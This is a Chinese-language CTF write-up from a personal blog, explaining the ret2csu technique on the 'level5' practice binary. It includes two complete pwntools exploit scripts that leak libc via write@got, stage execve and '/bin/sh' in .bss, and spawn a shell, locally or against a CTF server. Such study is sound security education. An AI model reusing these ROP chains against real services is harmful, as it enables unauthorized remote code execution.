ret2csu-level5
mango

ret2csu

在64位程序中,当函数参数小于等于6个时,参数从左到右放入寄存器:rdi,rsi,rdx,rcx,r8,r9,大于6个时放到栈上。

在大多数情况下,参数过多时很难找到部署寄存器值的gadget。但是还有一写万能gadget可以被利用,__libc_csu_init这个函数用于对libc进行初始化操作。

image-20240129155447148 image-20240129155458070 image-20240129003402505

level5

蒸米的level5 https://github.com/zhengmin1989/ROP_STEP_BY_STEP

image-20240129005039950 image-20240129005049297

栈溢出

没有system之类的可以利用的。那么就要先泄露libc,然后调用了。

找到__libc_csu_init

image-20240129005232419

第一段在0x04005f0,第二段在0x0400606

第一次栈溢出的目的是通过write函数打出write的地址

write函数原型

折叠代码块BASH 复制代码
1
ssize_t write (int fd, const void * buf, size_t count)

fd 为文件描述符,fd为1时为标准输出

buf 需要输出的内存地址

count 输出字节数

那么rdi=1,rsi=write@got,rdx=8,正好是第一段__libc_csu_init

给这三个寄存器赋值需要用到第二段__libc_csu_init,给r13,r14,r15附上对应的。第二段其实就是pop [寄存器]

可以得到一个通用的利用函数:

折叠代码块BASH 复制代码
1
2
3
4
5
6
7
8
9
10
def csu(rbx, rbp, r12, r13, r14, r15, arg):
payload = b'a' * (128 + 8)
payload += p64(csu_init_2)
payload += p64(0) # 可能是调用了函数之后rsp+8了,所以这里补个0,有点困惑
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_init_1)
payload += b'a' * (0x38) # 平衡堆栈
payload += p64(arg)
p.sendline(payload)
sleep(1)
image-20240129013205608

因为这个地方,所以rbx=0,rbp=1,r12=write@got

平衡堆栈问题:

首先跳转到六个move的地方给寄存器赋值,然后ret到三个move的地方将参数转移到需要的寄存器中去,但是六个move运行后会再次执行一遍三个move,这样会使得栈空间提升8*7总共56字节,所以我们还需要padding56个字节,然后才能覆盖ret到需要的地址上去

使用0x38个字节填充了:

image-20240129153852340

可以看到这个下面也有一句add rsp,38h

第一次溢出:

折叠代码块PYTHON 复制代码
1
csu(0, 1, write_got, 1, write_got, 8, main_addr)

不同版本的__libc_csu_init有所不同,要注意参数和寄存器对应的关系。(wiki里的level5不是蒸米的level5)

第二次溢出:

折叠代码块PYTHON 复制代码
1
csu(0, 1, read_got, 0, bss_base, 16, main_addr)

因为call qword ptr [r12+rbx*8]是间接跳转,也就是先将r12地址的值取出来,再进行跳转。最后的效果就是,从bss_base中取出system函数的地址,再跳转到system函数处。

第三次溢出:

折叠代码块PYTHON 复制代码
1
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)

调用execve(“/bin/sh”)

一开始是打算使用system的,但是又遇到了栈对齐问题,而且这一次怎么都无法解决,只好换成execve。很奇怪啊,添加ret和给system的地址从1加到16都没有解决。

写了两个版本的exp方便自己看

exp1:

折叠代码块PYTHON 复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from ctypes import *
from struct import pack
from LibcSearcher import *
from pwn import *

banary = "/home/cake/Documents/pwn/wiki/medium_rop/level5"
elf = ELF(banary)
ip = "node5.buuoj.cn"
port = 25363
local = 1
if local:
p = process(banary)
else:
p = remote(ip, port)

context(log_level="debug", os="linux", arch="amd64")
# context(log_level="debug", os="linux", arch="i386")


csu_init_1 = 0x04005F0
csu_init_2 = 0x0400606
main_addr = 0x0400564

write_got = elf.got["write"]
read_got = elf.got["read"]
# bss_base = elf.bss()
bss_base = 0x601028
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def csu(rbx, rbp, r12, r13, r14, r15, arg):
payload = b"a" * (128 + 8)
payload += p64(csu_init_2)
payload += p64(0)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_init_1)
payload += b"a" * (0x38)
payload += p64(arg)
p.sendline(payload)
sleep(1)


### leaklibc write(1, write_got, 8)
csu(0, 1, write_got, 1, write_got, 8, main_addr)
write_addr = u64(p.recv(8))
# libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.sym["write"]
execve_addr = libc_base + libc.sym["execve"]

### read(0, bss_base, 16)<--execve("/bin/sh")
csu(0, 1, read_got, 0, bss_base, 16, main_addr)
p.send(p64(execve_addr) + b"/bin/sh\x00") # 因为正好填满16个字节,所以是sendline

### execve("/bin/sh", 0, 0)
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
p.interactive()

exp2:

折叠代码块PYTHON 复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from ctypes import *
from struct import pack
from LibcSearcher import *
from pwn import *

banary = "/home/cake/Documents/pwn/wiki/medium_rop/level5"
elf = ELF(banary)
ip = "node5.buuoj.cn"
port = 25363
local = 1
if local:
p = process(banary)
else:
p = remote(ip, port)

context(log_level="debug", os="linux", arch="amd64")
# context(log_level="debug", os="linux", arch="i386")


csu_init_1 = 0x04005F0
csu_init_2 = 0x0400606
main_addr = 0x0400564

write_got = elf.got["write"]
read_got = elf.got["read"]
# bss_base = elf.bss()
bss_base = 0x601028
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

### leaklibc write(1, write_got, 8)
payload = cyclic(0x80 + 8)
payload += p64(csu_init_2)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(csu_init_1)
payload += cyclic(0x38)
payload += p64(main_addr)

p.sendlineafter(b"Hello, World\n", payload)
sleep(1)

write_addr = u64(p.recv(8))
# libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.sym["write"]
execve_addr = libc_base + libc.sym["execve"]
### read(0, bss_base, 16)<--execve("/bin/sh")
payload = cyclic(0x80 + 8)
payload += p64(csu_init_2)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss_base)
payload += p64(16)
payload += p64(csu_init_1)
payload += cyclic(0x38)
payload += p64(main_addr)

p.sendlineafter(b"Hello, World\n", payload)
sleep(1)

p.send(p64(execve_addr) + b"/bin/sh\x00") # 因为正好填满16个字节,所以是sendline
sleep(1)

### execve("/bin/sh")
payload = cyclic(0x80 + 8)
payload += p64(csu_init_2)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(bss_base)
payload += p64(bss_base + 8)
payload += p64(0)
payload += p64(0)
payload += p64(csu_init_1)
payload += b"/x00" * 0x38
payload += p64(main_addr)

p.sendafter(b"Hello, World\n", payload)
p.interactive()

参考:

wiki

https://www.cnblogs.com/0x200/p/15765759.html

https://wiki.wgpsec.org/knowledge/ctf/ret2csu.html (图画得真好)

https://blog.csdn.net/qq_29912475/article/details/127701422

由 Hexo 驱动 & 主题 Keep v4.0.6
访客数 662 访问量 1059